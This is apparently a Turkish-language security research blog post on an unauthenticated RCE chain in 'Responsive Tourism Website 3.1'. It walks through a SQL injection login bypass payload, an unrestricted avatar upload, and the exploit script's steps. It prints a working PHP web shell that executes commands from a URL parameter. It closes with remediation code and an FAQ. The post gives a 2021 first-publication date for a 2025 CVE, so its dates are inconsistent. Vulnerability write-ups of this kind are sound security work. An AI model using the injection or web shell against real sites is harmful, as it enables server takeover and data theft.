CVE-2025-69457 – Responsive Tourism Website 3.1 - Remote Code Execution (Unauthenticated)
Wed Jan 21 2026 · 3 min read
Category: Security Research
Giriş
Bu raporda, CVE-2025-69457 kodu ile izlenen "Responsive Tourism Website 3.1" uygulamasında kritik bir Uzaktan Kod Yürütme (RCE) zafiyetinin nasıl keşfedildiğini ve istismar edildiğini detaylandıracağım. Bir güvenlik araştırmacısı (veya bu senaryoda bir "siyah şapkalı" hacker) olarak amacım sunucu üzerinde tam kontrol sağlamaktı. Saldırı zinciri iki farklı zafiyeti içeriyor: Kimlik doğrulamayı atlamak için SQL Enjeksiyonu ve keyfi kod yürütmek için Kısıtlanmamış Dosya Yükleme.
Zafiyet Analizi
Aşama 1: Kimlik Doğrulama Atlatma (SQL Enjeksiyonu)
İlk hedefim /admin/login.php adresindeki yönetim paneliydi. Giriş formunda standart SQL enjeksiyon yüklerini denedim ve uygulamanın username alanında SQL enjeksiyonuna açık olduğunu keşfettim.
classes/Login.php dosyasındaki kaynak kodunu inceledim ve temel nedeni buldum:
// classes/Login.php içindeki Zafiyetli Kod
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
Uygulama, kullanıcı girdisi olan $username değişkenini herhangi bir temizleme veya parametreleme yapmadan doğrudan SQL sorgusuna ekliyor. Bu, saldırganın sorgu mantığını değiştirmesine olanak tanır.
Kullanılan Yük (Payload): admin' or '1'='1'#
Bu yük enjekte edildiğinde sorgu şu hale gelir:
SELECT * from users where username = 'admin' or '1'='1'#' and password = md5('...')

# karakteri sorgunun geri kalanını (şifre kontrolünü) yorum satırı haline getirir ve 1=1 her zaman doğru olduğu için veritabanı ilk kullanıcı kaydını (yönetici) döndürür, böylece şifresiz giriş yapmış olurum.
Aşama 2: Uzaktan Kod Yürütme (Kısıtlanmamış Dosya Yükleme)
Yönetim paneline erişim sağladıktan sonra dosya yükleyebileceğim yerleri aradım. Kullanıcıların profil resimlerini (avatar) güncelleyebildiği "Kullanıcı Ayarları" sayfasını (admin/?page=user) buldum.
Bu isteği işleyen classes/Users.php dosyasındaki arka uç kodunu inceledim:
// classes/Users.php içindeki Zafiyetli Kod
if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){
$fname = 'uploads/'.strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../'. $fname);
// ...
}

Buradaki zafiyet çok açıktır:
- Uzantı Kontrolü Yok: Kod, dosya adını (
$_FILES['img']['name']) doğrudan kullanıcıdan alır. Uzantının.jpg,.pngveya.phpolup olmadığını kontrol etmez. - İçerik Kontrolü Yok: Dosyanın MIME türünü veya gerçek içeriğini doğrulamaz.
- Tahmin Edilebilir Yol: Dosya
uploads/dizinine bir zaman damgası önekiyle kaydedilir, ancak orijinal uzantı korunur.
Bu, shell.php adında bir dosya yükleyebileceğim ve sunucunun bunu bir PHP dosyası olarak kaydedeceği anlamına gelir. Bu dosyaya tarayıcı üzerinden eriştiğimde, sunucu içindeki kötü amaçlı PHP kodunu çalıştıracaktır.
Exploit Geliştirme
Tüm bu saldırı zincirini otomatize etmek için bir Python betiği (exploit.py) yazdım. İşte exploiti nasıl kurguladım:
-
Oturum Kurulumu: İstekler arasında çerezleri korumak için
requests.Session()kullandım. -
Giriş Atlatma:
classes/Login.php?f=loginadresine SQL enjeksiyon yükü ile bir POST isteği gönderdim. -
Bilgi Toplama: Shell'i yüklemeden önce,
admin/?page=usersayfasından mevcut kullanıcının bilgilerini (ID, Ad, Soyad, Kullanıcı Adı) çektim (scrape ettim). Bu çok önemliydi çünküsave_usersfonksiyonu tüm alanları güncelliyor. Sadece dosyayı gönderseydim, admin profilini bozabilir veya veritabanı hatasına neden olabilirdim. Gizli kalmak ve profil verilerini korumak istedim. -
Shell Yükleme:
classes/Users.php?f=saveadresine birmultipart/form-dataPOST isteği oluşturdum.- Çektiğim kullanıcı verilerini ekledim.
imgdosya alanını ekledim.- Dosya Adı:
.phpile biten rastgele bir dosya adı oluşturdum (örn.xYz_Tagoletta.php). - Payload:
<?php if(isset($_GET['cmd'])){ echo '<b>Tagoletta</b><pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>
-
Çalıştırma: Yüklemeden sonra, avatar resminin yeni
srcözniteliğini bulmak için profil sayfasını tekrar ayrıştırdım. Bu bana sunucudaki tam yolu verdi. Son olarak, kod yürütmeyi kanıtlamak için?cmd=whoamieklenmiş URL'yi yazdırdım.
Çözüm ve Kapatma
Bu uygulamayı güvenli hale getirmek için her iki zafiyet de derhal kapatılmalıdır.
1. SQL Enjeksiyonunu Düzeltme:
Dize birleştirme yerine Hazırlanmış İfadeler (Prepared Statements) kullanın. Bu, kullanıcı girdisinin çalıştırılabilir kod olarak değil, veri olarak işlenmesini sağlar.
Zafiyetli:
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
Güvenli:
$stmt = $this->conn->prepare("SELECT * from users where username = ? and password = md5(?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$qry = $stmt->get_result();
2. Dosya Yüklemeyi Düzeltme:
Dosya uzantısını doğrulayın ve dosyayı güvenli bir şekilde yeniden adlandırın. Asla kullanıcı tarafından sağlanan dosya adını/uzantısını kullanmayın.
Güvenli Uygulama Mantığı:
$allowed = array('jpg', 'jpeg', 'png', 'gif');
$filename = $_FILES['img']['name'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if(!in_array(strtolower($ext), $allowed)) {
// Hata: Geçersiz dosya türü
exit("Geçersiz dosya türü");
}
// Orijinal uzantı (eğer izin veriliyorsa) ile güvenli, rastgele bir dosya adı oluşturun
$fname = 'uploads/' . uniqid() . '.' . $ext;
CVE ID: CVE-2025-69457
İlk Yayın Tarihi: 22 Haziran 2021
Araştırmacı: Tağmaç "Tagoletta"
Canonical reference: https://www.exploit-db.com/exploits/50049
Github Repository: https://github.com/Tagoletta/CVE-2025-69457
Sıkça Sorulan Sorular
CVE-2025-69457 nedir?
Responsive Tourism Website 3.1 üzerinde, kimlik doğrulaması gerektirmeyen, Tağmaç 'Tagoletta' tarafından keşfedilmiş bir zero-day Uzaktan Kod Yürütme zafiyetidir.
CVE-2025-69457'de RCE nasıl elde edilir?
Saldırgan kontrolündeki çalıştırılabilir içeriği web'den erişilebilir bir konuma yerleştiren güvensiz bir dosya işleme/yükleme yolu aracılığıyla; bu içerik sonra sunucu tarafından çalıştırılır.
Sömürü kimlik bilgisi gerektirir mi?
Hayır — uygulamaya ulaşabilen herhangi bir uzak saldırgan tarafından kimlik doğrulaması öncesinde sömürülebilir.
CVE-2025-69457 nasıl düzeltilir?
Katı sunucu tarafı yükleme doğrulaması uygulayın, yüklemeleri çalıştırmadan saklayıp sunun, en az yetkili dosya izinleri uygulayın ve bir düzeltme yayınlandığında yükseltin.